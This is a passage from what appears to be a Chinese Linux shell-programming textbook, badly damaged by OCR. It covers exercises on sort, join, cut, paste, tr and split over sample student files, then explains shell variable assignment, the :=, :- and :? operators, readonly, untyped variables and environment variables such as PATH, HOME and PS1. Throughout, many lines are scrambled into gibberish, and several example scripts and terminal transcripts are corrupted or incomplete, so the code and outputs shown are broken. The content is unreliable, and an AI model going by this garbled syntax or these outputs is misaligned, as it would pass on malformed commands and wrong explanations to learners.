Wu—Comeuter 1982 Jiangsu 
anlar Ln 
Song-—Chemistry-=1982=Shanghai=4 
Bae phy rea ol Huserl=s 
Li-Architecture-1977-Guangdong-7 
maneo = Comeueer lo ngosu 
(1) 按照 第 2 域 ( 即 专业 ) 进行 排序 ， 对 于 专业 相同 的 记录 ， 按 照 姓名 排序 ; 
(2) 按照 第 3 域 ( 即 出 生年 份 ) 进行 排序 ， 出 生年 份 数值 大 的 排 在 前 面 ， 如 1984 的 记录 
应 该 排 在 1982 的 记录 之 前 ; 
(3) 按照 第 4 域 〈 即 籍贯 ) 进行 排序 ， 籍 贯 相同 的 记录 学 制 小 的 排 在 前 面 ， 并 将 此 排序 
结果 存储 到 province 文件 中 ; 
(4) 分 别 对 student 文件 和 province 文件 测试 是 否 排 序 ; 
(5) 输出 每 个 专业 的 学 生 数 。 
2. 5.1.2 市 给 出 的 PROFESSOR.db 文件 以 文本 块 存储 教授 的 信息 ， 现 要 求 对 文本 块根 据 
学 校 名 字 〈 每 个 文本 块 的 第 2 行 ) 进行 排序 ， Ne ms 
3. 增加 5.2 节 给 出 的 -count word:sh 脚本 的 功能 ， 使 其 能 过 滤 冒 号 、 横 杠 〈-) 和 @ 符 号 
三 种 特殊 符号 。 
4. 修改 5.2 节 给 出 的 count_word.sh 脚本 ， 使 它 能 不 区 分 大 小 写 统计 文本 文件 中 单词 的 
个 数 ， 如 word、WORD、Word 都 识别 为 同一 个 单词 。( 提 示 : 结合 使 用 tr 命令 的 大 小 写 转换 
功能 来 实现 ) 
5. 定义 score 文件 用 于 记录 学 生 的 平均 成 绩 ， 结 合 第 1 题 所 给 出 的 student 文件 ， 输 出 
student 和 score 文件 中 共有 学 生 的 信息 及 其 平均 成 绩 。( 提 示 : 使 用 join 命令 可 以 方便 地 实现 ， 
但 是 ， 用 join 之 前 需要 对 两 个 文件 进行 排序 ) 
Ca 
Wu-69 


2 

Yan eels 
Een 
L 
G 
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Li-80 
Wang-60 
本 
6. 将 student 文件 中 的 第 1 域 ( 即 姓名 ) 和 score 文件 的 第 2 域 ( 即 平均 成 绩 ) 提取 出 来 ， 
并 粘贴 到 一 个 新 的 文件 中 。( 提 示 : 结合 使 用 cut 和 和 命令 来 实现 ) 
7. 将 student 文件 中 的 第 1 域 ( 即 姓名 ) 粘贴 到 屏幕 ,每 行 显示 三 位 学 生 的 姓名 。( 提 示 : 
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结合 使 用 cut 和 paste 命令 ， 并 需要 注意 paste -的 用 法 ) 

8. 定义 department 文件 用 于 院 系 名 及 其 地 址 的 对 应 关系 ， 结 合 第 1 题 所 给 出 的 student 
文件 ， 在 student 文件 记录 中 输出 该 学 生 所 在 院 系 的 地 址 。 

ee Eval lelabiove? 

Computer-Li Wen Zheng Building 

Wanseonte ot on ee 

Chemistry-Central Building 

Bharearl Ch ume 

Architecture-Architecture Building 


9. 按 文 件 大 小 降序 列 出 当前 目录 中 的 所 有 文件 。( 提 示 : 1 命令 可 以 列 出 文件 的 详细 信 
息 ， 按 照 文 件 大 小 对 1 命令 结果 进行 排序 ) 

10. 利用 Shell 命令 列 出 Linux 系统 中 标识 号 大 于 99 的 用 户 数量 。 

11. 将 student 文件 分 别 按照 行 数 和 大 小 进行 分 割 ， 体 会 split 命令 -b 和 -C 选项 的 

12. 将 student 文件 中 的 所 有 小 写字 母 转 换 为 大 写字 母 。 
.将 student 文件 中 的 非 字 母 字 符 全 部 转换 为 @ 符 号 。( 提 示 : 注意 * 符 号 的 用 法 ) 

14. 将 5.1.2 节 所 给 出 的 PROFESSOR.db 文件 中 的 文件 块 格式 转换 为 单行 显示 ， 域 之 间 
利用 冒号 分 隔 ， 例 如 : 

文件 块 : 

Y Zhang 


Wee Eon Un nS, 
Melbourne, Australia 


转换 为 : 
Y Zhang: Victory University: Melbourne, Australia 
15. 下 面 给 出 一 个 脚本 ， 用 于 将 Windows 系统 下 的 文本 文件 转换 成 Linux 系统 下 的 文本 


文件 ， 脚 本 名 字 是 WintoLin.sh， 内 容 如 下 : 
#!/bin/bash 
# WintoLin.sh: Window 到 Linux 文本 文件 的 转换 . 




































































[xl 
汇 























ja 
ULD 





























E WRONGARGS=65 


sa | 

then 

echo "Usage: ‘basename $0' filename-to-convert" 
exit $E WRONGARGS 

站 


NEWFILENAME=$1 .unx 


CR="N0LSY 























tr -d $CR < $1 > $NEWFILENAME # 删除 回 车 并 且 写 到 新 文件 中 








echney or winews text ees on 
eecho "Converted Linux text file 1s  \roNEWEILENAMENY. 


ex 
请 读者 利用 所 学 知识 读 懂 WintoLin.sh 脚本 ， 并 执行 它 ; 然后 编写 一 个 脚本 LintoWin.sh， 
能 将 Linux 下 的 文本 文件 转换 为 Windows 下 的 文本 文件 。 
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变量 是 任何 一 门 编程 语言 和 脚本 语言 的 核心 , 而 Shell 脚本 使 用 变 
量 就 需要 引用 ， 因 此 ， 引 用 和 变量 密切 相关 。 本 章 从 变量 的 替换 和 赋 
值 的 基本 操作 入 手 ， 讨 论 Shell 脚本 变量 的 无 类 型 性 ， 并 对 Linux Shell 
环境 变量 和 位 置 参数 两 种 特殊 的 变量 作 了 详尽 分 析 ， 然后 ， 本 章 介 绢 
了 Linux Shell 中 四 种 引用 符号 及 其 意义 和 用 法 ， 重 点 讨论 转 义 符 的 用 
法 及 其 一 些 特殊 的 用 法 。 
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变量 用 于 保存 有 用 信息 ， 如 路 径 名 、 文 件 名 、 数 字 等 ，Linux 用 户 使 用 变量 定制 其 工作 


























‘EH 











An 变量 本 质 上 是 存储 数据 的 一 个 或 多 个 计算 机 内 存 地 址 。 
变量 可 分 为 :本 地 变量 、 环 境 变 量 和 位 置 参 数 。 本 地 变量 是 仪 可 以 在 用 户 当 前 Shell 生 
命 期 的 脚本 中 使 用 的 变量 ， 本 地 变量 随 着 Shell 进程 的 消亡 而 无 效 ， 本 地 变量 在 新 启动 的 Shell 
中 依旧 无 效 ， 它 类 似 于 C、C++、Java 等 编程 语言 中 局 部 变量 的 概念 。 环 境 变量 则 适用 于 所 有 
由 登录 进程 所 产生 的 子 进程 , 简 言 之 ,环境 变量 在 用 户 登 录 后 到 注销 之 前 的 所 有 编辑 器 、 脚 本 、 
程序 和 应 用 中 都 有 效 。 位 置 参数 也 属于 变量 ， 它 用 于 向 Shell 脚本 传递 参数 ， 是 只 读 的 。 


6.1.1 变量 替换 和 赋值 


本 节 介 绍 变量 的 基本 操作 : 变量 替换 和 赋值 。Shell 的 三 类 变量 中 , 位 置 参数 是 只 读 变量 ， 
因此 ， 没 有 变量 的 替换 和 赋值 操作 ， 上 述 操作 。 本 节 不 区 分 变量 是 本 地 
变量 还 是 环境 变量 ， 只 对 变量 替换 和 赋值 的 方法 进行 介 

变量 是 某 个 值 的 名 称 ， 引 用 变量 值 就 we 特写 是 变量 桂 换 符号 ， 如 variable 
是 变量 名 ， 那 么 ，$variable 就 表示 变量 的 值 。 将 值 赋 给 某 个 变量 名 就 称 为 变量 赋值 ， 变 量 赋 
值 有 两 种 格式 ， 如 下 所 示 : 


variable=value 
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${ variable=value } 
en 有 以 下 三 点 说 明 : 

@ 号 的 两 边 可 以 有 空格 ， 这 不 影响 赋值 操作 ; 

© 各 果 信 (value) 中 包含 空格 ， 则 必须 用 双 引 号 括 起 来 ; 

@ 变量 名 只 能 包括 大 小 写字 母 (a~z 和 A~Z)、 数 字 (0 一 9)、 下 画 杠 〈_ ) 等 符号 ， 

并 且 变 量 名 不 能 以 数字 开头 ， 和 否则 视 为 无 效 变量 名 。 

下 面 的 例 6-1 演示 了 变量 的 赋值 和 替换 ， 值 得 注意 的 是 : 首先 ，$ {variable} 和 $variable 
都 表示 了 变量 的 值 ， 即 进行 变量 替换 ， 其 次 ， 如 果 值 中 有 空格 ， 需 要 用 双 引 号 引起 来 ， 如 例 
6-1 中 的 variable2 变量 。 
例 6-1: 变量 的 赋值 和 替换 
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root@zawu ~ variablel=33 

root@zawu ~]# echo ${variablel} # 两 种 方式 进行 变量 蔡 换 
3 

root@zawu ~ echo $variablel 
局 

root@zawu ~ variable2="hello world" # 值 包含 空格 ， 用 引号 引起 
root@zawu ~ echo $variable2 


hello world 
root@zawu ~ 


如 果 例 6-1 中 variable2 的 赋值 不 用 双 引 号 引起 来 ， 将 出 现 以 下 错误 : 


root@zawu ~ variable2=hello world 























hasheworlke eommenmemmnotee oul 
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[root@zawu ~]# 

由 于 空格 的 存在 ，Shell 将 空格 后 的 字符 ( 即 world) 解析 为 新 的 命令 ， 因 此 ， 错 误 信息 
为 “bash Shell 中 world 命令 不 存在 ”。 

当然 ,变量 赋值 中 也 可 以 使 用 另 一 个 变量 , 如 例 6-2 所 示 , variable4 赋值 时 使 用 了 variable2 
变量 ，echo 命令 输出 variable4 时 自动 查找 variable2 的 值 ， 然 后 扩展 变量 ， 显 示 整 个 变量 值 。 

# 例 6-2: 变量 赋值 中 使 用 另 一 个 变量 

[root@zawu ~]# variable2="hello world" 

[root@zawu ~]# variable4="We are saying $variable2" # 使 用 variable2 

[root@zawu ~]# echo $variable4 


We are saying hello world 
[root@zawu ~]# 


利用 unset 命令 可 以 清除 变量 的 值 ， 命 令 格式 为 : 

unset 变量 名 

网 6-3 给 出 一 个 unset 命令 的 例子 ， 将 variable4 变量 清除 后 ，echo 命令 输出 空白 行 ， 这 
表示 variable4 变量 未 被 初始 化 。 

例 6-3: unset 命令 的 用 法 

root@jselab ~]# unset Variable4 # 清 除 variable4 变量 
root@jselab ~]# echo $variable4 

空白 行 表示 variable4 变量 未 被 初始 化 

root@jselab ~]# 


除了 使 用 等 号 进行 变量 赋值 以 外 ， 变 量 赋值 还 有 如 表 6-1 所 示 的 模式 。 
表 6-1 变量 赋值 的 模式 
模 式 



























































































































































































































































variable=value 将 value 值 赋 给 变量 variable 

















variable+value 二 已 赋值 的 variable， 重 设 其 值 








variable?value 或 variable:?value 未 赋值 的 variable， 显 示 系 统 错误 信息 





variable:=value 十 未 赋值 的 variable， 将 value 值 赋 给 它 




















variable:-value 未 赋值 的 variable， 将 value 值 赋 给 它 ， 但 value 值 不 存储 到 variable 对 应 的 地 址 空间 























“:=” 和 “:-” 是 两 种 常用 的 符号 ， 需 要 读者 理解 两 种 符号 的 用 法 及 其 异同 点 ， 首 先 ， 请 
看 下 面 的 例 6-4， 该 例子 先 将 colour 赋值 为 black， 然 后 输出 ${fcolour:=blue} 和 ${fcolour:-blue} 
的 值 ， 两 者 输出 结果 相同 ， 都 为 black， 这 是 因为 colour 变量 已 经 赋 过 值 ,“:=” 和 “:-” 都 不 
对 colour 进行 重新 赋值 。 注 意 ， 使 用 以 上 两 种 符号 时 ， 都 需要 用 花 括号 将 赋值 式 子 括 起 来 ， 
否则 ，Shell 将 colour:=blue 整个 字符 串 当 做 变量 名 进行 处 理 。 
列 6-4: “:=” 和 “:-” 的 相似 之 处 


root@jselab ~ colour=black 



























































































































































EGOECNS el echo "The Background is ${colour:=blue}" # := 符号 的 用 法 
The Background is black 
root@jselab ~]# echo "The Background is ${colour:-blue}" #: -符号 的 用 法 








Thedbaeckgqreounadlis blaeck 
reoeansedan 


其 次 ， 再 看 下 面 的 例 6-5， 它 说 明了 “:=” 和 “:-” 符 号 的 区 别 ， 该 例 首先 清除 colour 变 
量 值 ， 再 分 别 输出 ${fcolour:=blue} 、$colour 和 $fcolour:-blue} 、$colour 的 值 ， 结 果 显 示 : 
${colour:=blue} 和 $ {colour:-blue} 的 值 都 为 blue， 因 为 colour 未 赋值 ， 两 个 符号 都 将 blue 赋 给 
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colour。 但 
到 colour 中 ， 
到 colour 中 。 





ih 
LL 





一 人 
| 
bnill 


一 个 简单 的 例子 。 
“2” 和 “3?” 的 用 法 


mss EEC 
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例 6-5: “:=” 和 
EGE selae. 
reeueselaby 
The Background 
reoteselab 


retCISelab 
The Background 
rooteyselab 
Bus 
rocoto selaen 
























































直 却 变 为 blue， 即 “:=” 





“:-” 的 区 别 


unset colour 
is blue 


echo $colour 


is blue 
echo $colour 

















echo "The Background is ${colour:-blue}" 


echo "The Background is ${colour:=blue}" 





符号 将 blue 真正 存 


# 用 :- 符 号 对 colour 赋值 








#colour 未 曾 真正 赋值 
# 用 := 符号 对 colour 赋值 


#colour 赋值 了 











jg${colour-blue} 后 ，colour 值 仍然 为 空 ， 即 “:-” 符 号 未 将 blue 真正 存储 
而 调用 ${colour:-blue} 后 ，colour 


储 


“:3” 和 “?” 可 用 于 测试 变量 是 否 被 赋值 ， 若 变量 未 赋值 ，Shell 提示 错误 信息 ， 下 面 给 


例 6-6: 
root@jselab ~ 
root@jselab ~ 


“ash eolour lue 
EGOEOTSelase. 
sibashn ee ool ue 








root@jselab ~ 














最 后 ， 介 绍 将 变量 设置 为 只 读 的 方法 ， 变 量 


四 








echo "The Background is ${colour:?blue}" 


echo “The Background is ${colour?blue}" 















































关键 字 ， 格 式 如 下 : 


即 colour 是 只 读 的 ， 不 能 对 


命令 的 执行 结果 ， 可 以 看 到 ， 最 后 


HU 


ls 


moni 


variable=value 
readonly variable 


例 6-7 演示 了 利用 readonly 命令 将 变量 设置 
读 变 量 , 当 再 对 colour 进行 习 














重新 赋值 , 如 果 有 用 户 对 此 变量 重新 赋值 , Shell 提示 错 












































# 例 6-7: 设置 变量 只 读 
[zo0ot@Jjselab ~| 
[Eeot0 selae 
[se0E0 selae 
sees 
[root@jselab ~] 


2 
2 


Ceo 























其 进行 赋值 操作 。 











colour=blue 





readonly colour 
colour=grey 
readonly variable 








旦 设置 为 上 内 读 ， 
自 











为 只 读 的 用 法 ， 例 
新 赋值 时 , Shell 提示 错误 信息 “-bash: colour: readonly variable”， 

















#pash 给 出 的 错误 信息 





#bash 给 出 的 错误 信息 





任何 用 户 不 能 对 此 变量 进 


误 信息 ,设置 只 读 可 以 使 用 readonly 




















# 先 对 





个 变量 进行 赋值 











# 将 variable 变量 设置 为 只 读 





命令 将 colour 设置 为 








国 | 
A™ 





# 将 colour 变量 设置 为 只 读 
# 试 图 改变 colour 变量 的 值 


#bash 给 出 的 错误 信息 


如 果 要 查看 系统 中 所 有 的 只 读 变 量 ， 只 需 执行 readonly 命令 即 可 ， 例 6-8 给 出 readonly 

















# 例 6-8: 显示 所 有 的 只 读 变量 


[zo0ot@Jjselab ~| 





readonly 


declare -ir BASHPID="" 


declare = 六 


BASEEVERSTNEOS (110 


WO le en 


declare -ir EUID="0" 


declare jropelD= 2990" 
declare -r SHELLOPTS="braceexpand:emacs:hashall:histexpand:history:interactive-comments: 


Cr 





declare -ir UID="0" 


[I 
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[El1=w 1 





























一 个 结果 是 前 面 定 义 的 只 读 变量 colour。 


[el 
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[4]="release" 
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WSISEESEEEESSTOUEEOOTNESL # 该 变量 是 例 6-7 中 所 设置 的 
[root@jselab ~]# 


当然 ,用 readonly 设置 变量 为 只 读 只 是 其 中 的 一 种 方法 ,我 们 还 可 以 利用 declare 和 typeset 
命令 实现 同样 的 功能 。 


6.1.2 无 类 型 的 Shell 脚本 变量 


在 C、C++、JjJava 等 编程 语言 中 ， 定 义 变量 需要 声明 其 类 型 ， 如 整 型 、 浮 点 型 、 字 符 
等 。Shell 脚本 变量 却 是 无 类 型 的 ， 这 与 awk 变量 是 一 样 的 。bash Shell 不 支持 浮 点 型 ， 只 
持 整 型 和 字符 型 ， 默 认 情 况 下 ，Shell 脚本 变量 是 字符 型 的 ， 同 时 ， 字 符 型 的 变量 还 具有 一 
整 型 值 ， 为 0， 尽管 如 此 ，bash Shell 并 不 要 求 在 定义 一 个 变量 时 声明 其 类 型 。 但 是 ，Shell 
会 根据 上 下 文 判 断 出 数值 型 的 变量 ， 并 进行 变量 的 算术 运算 和 比较 等 数值 操作 。 判 断 标 准 是 
变量 中 是 否 只 包含 数字 ， 如 果 变 量 只 包含 数字 ， 则 Shell 认定 该 变量 是 数值 型 的 ， 反 之 ，Shell 
认定 该 变量 是 字符 串 。 

下 面 通过 一 个 例子 分 析 Shell 对 无 类 型 变量 的 处 理 方式 , 新 建 一 个 名 为 integer.sh 的 脚本 ， 
内 容 如 下 : 


# 例 6-9: integer.sh 脚本 分 析 shell 处 理 无 类 型 变量 的 方式 
#!/bin/bash 
































溢 
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AN 








> x 








































































































a=2009 
ee # 让 a 加 1 
echo "a=$a" 


b=xx09 

Sen $e 

declare -i b # 将 b 强制 定义 为 整 型 
eeno oe $e 


Te ianr = lw pul 
Scene eS Se 





exit 0 


integer.sh 脚本 首先 定义 a 变量 ， 值 为 2009， 然 后 将 a 的 值 增加 1， 再 输出 a 的 值 。 从 下 
面 的 integer.sh 脚本 执行 结果 可 以 看 到 ，Shell 自动 将 a 解析 为 数值 变量 ，a=2010。let 命令 用 
于 在 变量 上 执行 算术 运算 ， 实 际 上 ，let "a+=1" 等 价 于 a+=1。 然 后 ，integer.sh 脚本 定义 b 变 
量 ， 值 为 xx09，b 显然 是 字符 型 的 ， 我 们 利用 declare 命令 将 b 强制 转化 为 整 型 ， 发 现 b 的 值 
并 没有 改变 ， 即 declare 强制 转化 并 没有 起 作用 。 将 b 执行 算术 操作 ， 增 加 1， 结 果 为 b=1， 
即 字 符 型 变量 的 数值 为 0。 


例 6-9 integer.sh 脚本 的 执行 结果 
root@jselab ~]#chmod u+x integer.sh 





















































































































































root@jselab ~]# ./integer.sh 
a=2010 
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declare 命令 与 typeset 命令 一 样 ， 用 于 定义 和 限制 变量 的 属性 ，declare - 可 将 变量 设置 
为 只 读 ， 等 价 于 readonly 命令 。declare 和 typeset 的 详细 用 法 可 参见 8.4 节 。 
接 下 来 ， 我 们 通过 一 个 例子 说 明 Shell 对 空 字符 串 和 未 定义 变量 的 处 理 方式 ， 新 建 


null-undeclare.sh 脚本 ， 内 容 如 下 : 


# 例 6-10: null-undeclare.sh 脚本 处 理 空 字符 串 和 未 定义 变量 的 方式 
#!/bin/bash 























= # 定 义 c 为 空 字符 串 
eanone $e 
ee Vets 


Scene ue $e 





echo "e=$e" # 不 预先 定义 e， 直 接 输 出 
Dee ween 
echo "e=$e" 


exit 0 

null-undeclare.sh 脚本 定义 c 变量 为 空 字符 串 ， 将 ec 执行 算术 操作 ， 增 加 1， 结果 为 c=1， 
即 空 人 学 符 串 变量 的 数值 仍 为 0。 然 后，null-undeclare.sh 脚本 直接 输出 未 曾 预 先 定义 的 变量 e， 
结果 e 为 空 值 ， 将 e 加 1， 结果 为 e=1。null-undeclare.sh 脚本 的 执行 结果 如 下 所 示 : 

# 例 6-10 null-undeclare. sh 脚本 的 执行 结果 


[root@jselab ~]#chmod u+x null-undeclare.sh 
[root@jselab ~]# ./ null-undeclare.sh 
























































加 

着 

[root@jselab ~]# 

从 以 上 两 个 脚本 不 难 总 结 出 : Shell 脚本 变量 是 无 类 型 的 ， 并 且 Shell 变量 同时 有 数值 型 
和 字符 型 两 种 赋值 ， 数 值 型 的 初 值 为 0， 字符 型 的 初 值 为 空 ， 而 且 可 以 不 预先 定义 变量 而 直 
接 使 用 它 。 


6.1.3 “环境 变量 


环境 变量 不 仅 在 Shell 编程 方面 ， ws Linux 系统 管理 方面 ， 都 起 着 非常 重要 的 作用 。 
本 节 从 环境 变量 的 基本 操作 入 手 ， 重 点 介绍 几 个 Linux 重要 的 环境 变量 ， 并 介绍 Linux 环境 
变量 的 几 个 常用 配置 文件 ， 最 后 举 一 1 进程 的 例子 进一步 说 明 本 地 变量 和 环境 变量 。 

1. 定义 和 清除 环境 变量 

环境 变量 的 替换 和 赋值 依然 遵循 6.1.1 节 所 述 的 一 般 规 律 , 环境 变量 也 是 无 类 型 的 , 环境 
变量 的 特殊 之 处 仅 在 于 它 的 值 适 用 于 所 有 由 登录 进程 所 产生 的 子 进 程 。 定 义 环 境 变 量 的 格式 
如 下 : 
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# 定 义 环境 变量 的 基本 格式 

ENVIRON-VARIABLE=value # 环 境 变 量 赋值 

export ENVIRON-VARIABLE # 声 明 环 境 变量 

在 给 环境 变量 赋值 后 ， 用 export 命令 声明 一 下 ， 就 说 明 此 变量 为 环境 变量 ， 环 境 变量 的 

















名 称 一 般 由 大 写字 母 组 成 。 
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列 6-11 演示 了 如 何 定义 一 个 环境 变量 。 首 先 将 APPSPATH 变量 赋值 为 /usr/local， 然后 禾 
用 export 命令 将 APPSPATH 声明 为 环境 变量 。 
例 6-11: 演示 定义 环境 变量 





中 


























root@jselab ~]# APPSPATH=/usr/local # 为 APPSPATH 赋值 
root@jselab ~]# export APPSPATH # 将 APPSPATH 声明 为 环境 变量 
root@jselab ~]# echo $APPSPATH 

/usr/local 





root@jselab ~]# 
如 果 要 列 出 系统 中 所 有 的 环境 变量 , 可 使 用 env 命令 , 由 于 系统 中 环境 变量 的 数量 太 多 ， 
例 6-12 仅 列 出 了 系统 中 的 一 些 环境 变量 。 
# 例 6-12: 列 出 系统 中 的 环境 变量 
[root@jselab ~]# env 
HOSTNAME=j selab.njue 
SELINUX ROLE REQUESTED= 
TERM=vt100 
SHELL=/bin/bash 
HISTSIZE=1000 
BSHECELIENT 210 223322- -T1950 23022 
SELINUX USE CURRENT RANGE= 
QTDIR=/usSr/l1ib/qt-3.3 
OTING /er A oe nelds 
SSH TTY=/dev/pts/1 
USER=root 



























































Nh # 省 略 很 多 环境 变量 
清除 环境 变量 的 方法 与 清除 其 他 变量 的 方法 一 样 ， 都 是 用 unset 命令 ， 例 6-13 将 
APPSPATH 变量 清除 , 清除 APPSPATH 变量 后 , APPSPATH 变量 为 空 , 因而 echo $APPSPATH 
命令 输出 空白 行 。 

# 例 6-13: 清除 环境 变量 

[root@jselab ~]# unset APPSPATH 

[root@jselab ~]# echo $APPSPATH 


















































# 输 出 空白 行 ， 因 为 APPSPATH 已 被 清除 

















[root@jselab ~]# 
2. 重要 的 环境 变量 
环境 变量 通常 用 来 存储 路 径 信息 ，Linux 系统 及 其 诸多 应 用 程序 的 正常 运行 依赖 于 某 些 
重要 的 环境 变量 的 正确 设置 。 下 面 介绍 几 个 Linux 系统 中 极为 重要 的 环境 变量 。 
(1) PWD 和 OLDPWD 
PWD 记录 当前 的 目录 路 径 ， 当 利用 cd 命令 改变 当前 目录 时 ， 系 统 自 动 更 新 PWD 的 值 ， 
OLDPWD 记录 旧 的 工作 目录 ， 即 用 户 所 处 的 前 一 个 目录 。 
下 面 的 例 6-14 打印 出 PWD 和 OLDPWD 两 个 变量 的 值 , 当前 目录 是 /usr/local/shell-book,， 
旧 的 工作 目录 是 /root。 
# 例 6-14: 打印 PWD 和 OLDPWD 变量 值 
[root@jselab shell-book]# echo $PWD 
/usr/local/shell-book 
[root@jselab shell-book]# echo $0LDPWD 


/EGdE 
[root@jselab shell-book]# 


(2) PATH 
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PATH 是 Linux 中 一 个 极为 重要 的 环境 变量 ， 它 

















月 于 








帮助 Shell 找到 用 户 所 输入 的 命令 。 








用 户 所 输入 的 每 个 命令 实际 上 是 一 个 源 代码 文件 ， 计 算 机 执行 这 个 文件 里 的 代码 以 实现 这 个 











命令 的 功能 ， 这 些 源 代码 文件 称 为 可 执行 文件 。 可 执行 文件 存在 于 各 种 各 样 的 目录 下 ， 一 些 
可 执行 文件 放置 在 Linux 系统 标准 目录 中 , 还 有 一 些 可 执行 文件 可 能 是 用 户 写 的 程序 或 Shell 


























脚本 文件 ， 它 
令 搜 索 PATH 中 的 目录 列表 。 





















































门 放置 在 用 户 目 录 中 。PATH 就 记录 了 一 系列 的 目录 列表 ，Shell 为 每 个 输入 命 





例 6-15 显示 了 PATH 环境 变量 的 内 容 ， 可 以 看 到 ，PATH 中 包含 了 多 个 目录 的 路 径 ， 它 
们 之 间 用 冒 扎 分 了 喇 ， 都 是 以 bin 或 sbin 的 文件 夹 结尾 ，bin 或 sbin 是 Linux 中 存放 可 执行 文 














件 的 文件 夹 。 任 何在 PATH 中 的 可 执行 文人 











# 例 6-15: 打印 PATH 变量 值 














[root@jselab shell-book]# echo $PATH 
Weasel ln us /err son us /eerier oN leeaene sr loeal 
otale ,Lee lores ly one /oan /obey Ws slobnlo Luella /one ea 


[root@jselab shell-book]# 














F 都 可 以 在 Linux 系统 的 任何 目录 中 由 




















接 执行 。 














如 果 需 要 在 PATH 中 添加 新 目录 ， 可 以 使 用 下 面 的 命令 : 





export PATH="/new directory":$PATH 


























命令 中 的 new directory 就 是 新 加 上 去 的 目录 ， 后 面 用 冒号 加 $PATH， 表 示 new directory 


























加 上 旧 的 PATH 变量 值 ， 得 到 新 的 PATH 变量 值 。 





(3) HOME 
HOME 记录 当前 
存 用 户 自己 的 文件 。 























在 /home 





目录 下， 通常 以 用 户 名 命名 。 


站 


/home/editor 
editor@jselab shell-book] $ 


(4) SHELL 











root@jselab shell-book]# su editor 
editor@jselab shell-book] $ echo $HOME 








用 户 的 根 目 录 ， 由 /etc/passwd 的 倒数 第 2 个 域 决定 ，HOME 目录 用 于 保 
例 6-16 分 别 显 示 了 foot 和 editor 两 个 用 户 的 HOME 变量 值 ， 
的 根 目 录 是 /root，editor 的 根 目 录 是 home/editor， 一 般 来 说 ， 非 根 


例 6-16: 显示 root 和 editor 两 个 用 户 的 HOME 变量 值 
root@jselab shell-book]# echo $HOME 

















root 用 户 
用 户 的 HOME 目录 都 存放 
































#root 用 户 的 HOME 变量 值 


# 将 用 户 切 换 到 editor 
#editor 用 户 的 HOME 变量 值 


SHELL 变量 保存 默认 的 Shell 值 ， 默 认 的 值 为 /bin/bash， 表 示 当 前 的 Shell 是 bash Shell。 

















如 果 有 必要 用 另 一 个 Shell， 则 需要 重 置 SHELL 变量 值 。 





(5) USER 和 UID 



































USER 和 UID 是 保存 用 户 信息 的 环境 变量 ，USER 表示 已 登录 用 户 的 名 字 ，UID 则 表示 
已 登录 用 户 的 四 D。 例 6-17 输出 USER 和 UID 的 值 ， 可 以 看 到 ， 当 前 登录 用 户 为 root， 其 用 





户 JID 为 0。 
# 例 6-17: 打印 USER 和 UID 变量 的 值 
[root@jselab ~]# echo $USER $UID 
下 Co 


[root@jselab ~]# 
(6) PPID 








PPID 是 创建 当前 进程 的 进程 号 ， 即 当前 进程 的 父 进程 号 























关于 此 环境 变量 的 示例 ， 可 参 
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见 例 6-24。 

(7) PS1 和 PS2 

PS1 和 PS2 称 为 提示 符 变 量 ， 用 于 设置 提示 符 格式 ， 比 如 ， 例 6-17 中 的 Shell 提示 符 指 
的 是 [root @jselab ~]# 这 段 文 字 ， 中 括号 里 包含 了 当前 用 户 名 、 主 机 名 和 当前 目录 等 信息 ， 这 
些 信 息 并 非 固 定 不 变 ， 它 可 以 通过 PS1 和 PS2 的 设置 而 改变 。 

PS1 是 用 于 设置 一 级 Shell 提示 符 的 环境 变量 ， 也 称 为 主 提示 符 字 符 串 ， 例 6-18 打印 了 
PS1 变量 的 值 ， 为 vu@\h WJM，w、\h、\W 和 表示 了 特定 含义 ，\u 表示 当前 用 户 名 ，\h 表 
示 表 示 主 机 名 , \W 表示 当前 目录 名 ， 如 果 是 root 用 户 , $ 表 示 # 号 ， 其 他 用 户 ,，$ 则 表示 $ 号 ， 
表 6-2 列 出 了 提示 符 变 量 中 的 特殊 符号 及 其 意义 。 从 例 6-18 也 可 看 出 ，root 的 一 级 Shell 提 
示 符 为 [root@jselab shell-book]#, 中 括号 中 的 root 表 示 用 户 名 ,@ 符 号 是 PS1 中 所 定义 的 ,jselab 
是 主机 名 ，shell-book 表示 当前 工作 目录 ， 中 括号 外 是 # 符 号 ， 由 PS1 的 发 决 定 。 切 换 到 editor 
用 户 ， 一 级 Shell 提示 符 变 为 [editor@jselab shell-book]$， 用 户 变 为 gridsphere， 中 括号 外 的 # 
变 为 $。 

# 例 6-18: 打印 PS1 变量 值 

[root@jselab shell-book]# echo $PS1 

\u@\h \W]\$ 


[ 
[root@jselab shell-book]# su editor # 将 用 户 切 换 到 editor 
[editor@jselab shell-book] $ 
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表 6-2 提示 符 变量 中 特殊 符号 及 其 意义 














以 “ 周 月 日 ” 格式 显示 的 日 其 
主机 名 和 域名 
































主机 名 
1 的 类 型 名 称 


示 时 间 ， 格 式 为 : HH:MM:SS 








六 12 小 时 制 





以 24 小 时 制 显示 时 间 ， 格 式 为 : HH:MM:SS 








以 12 小 时 制 显示 时 间 ， 格 式 为 : am/pm 














当前 的 用 户 名 


bash Shell 的 版 本 号 














h Shell 的 版 本 号 和 补丁 号 
当前 工作 目录 的 完整 路 径 


当前 工作 目录 名 字 









































当前 命令 的 序列 号 








果 UID 为 0， 打 印 # 和 否则， 打印 $ 








表 6-2 列 出 了 部 分 提示 符 变 量 中 的 特殊 符号 。 因 篇 幅 所 限 ， 我 们 仅 举 一 例 说 明 几 个 提示 符 
变量 的 用 法 ,如 例 6-19 所 示 ， 该 例子 将 PS1 的 值 改 为 : [NGNH \w WM， 可 以 看 到 , 一 级 Shell 
提示 符 变 为 [root01:02 下 午 jselab.njue ~ 7]$， 这 完全 验证 了 表 6-2 给 出 的 特殊 符号 的 意义 。 

# 例 6-19: 改变 PS1 变量 值 
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[E650 EERIE =|3 BIENNENE NW VIINYY 
[root01:02 下 午 jselab.njue ~ 7] $cd /usr/local/ 
[root01:02 下 午 jselab.njue /usr/local 8]$ 

















PS2 是 用 于 设置 二 级 Shell 提示 符 的 环境 变量 ， 例 6-20 首先 显示 PS2 的 值 ， 为 “>” 然 
后 演示 当 在 Shell 中 输入 不 完全 命令 时 ， 将 出 现 二 级 提示 符 ， 二 级 提示 符 内 容 即 为 PS2 变量 
的 值 。 


















































例 6-20: 打印 PS2 变量 值 


root@jselab ~]# echo $PS2 # 打 印 PS2 变量 值 
之 

root@jselab ~]# echo "E-Commence 
> # 出 现 三 级 提示 符 





E-Commence 
EooEt eae 


我 们 同样 可 以 使 用 表 6-2 中 的 特殊 符号 来 改变 PS2 变量 值 , 例 6-21 给 出 了 一 个 重新 设置 
